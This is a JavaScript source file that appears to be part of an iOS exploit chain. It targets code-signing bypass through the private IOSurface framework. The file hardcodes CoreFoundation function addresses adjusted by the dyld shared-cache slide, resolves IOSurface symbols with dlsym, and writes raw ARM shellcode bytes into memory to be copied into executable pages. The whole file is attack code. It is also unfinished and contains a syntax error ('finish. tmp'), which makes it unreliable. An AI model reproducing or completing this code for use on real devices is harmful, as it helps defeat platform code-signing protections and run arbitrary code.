1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
var RTLD_NOW = 2;
var PAGE_SIZE = 0x1000;
var CFDictionaryCreateMutable_addr = 0x20809ae1;
var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc;
var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc;
var CFDictionarySetValue_addr = 0x2080a791;
var CFNumberCreate_addr = 0x2080bc79;
var kCFNumberSInt32Type = 3;
function csbypass() {
printf("hello from csbypass!\n");
poc();
}
function memcpy_exec(dst, src, size) {
var dict = NULL;
var accel = malloc(4);
var width = malloc(4);
var height = malloc(4);
var pitch = malloc(4);
var pixel_format = malloc(4);
write_u32(width, PAGE_SIZE / (16 * 4));
write_u32(height, 16);
write_u32(pitch, read_u32(width) * 4);
write_u32(pixel_format, 0x42475241); // ARGB
dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr);
printf("dict: %p\n", dict);
callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch));
callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width));
callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height));
callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format));
printf("fuck you\n");
printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel));
}
function linkIOSurface() {
h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW);
my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow");
my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth");
my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight");
my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat");
scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat);
my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate");
my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate");
my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface");
}
function poc() {
linkIOSurface();
var tmp = malloc(0x4000);
var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47];
for (var i = 0; i < start.length; i++) {
write_u8(tmp + i, start[i]);
}
var finish = 0x10000;
memcpy_exec(finish. tmp, 0x1000);
scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141);
// var finish =
}
|
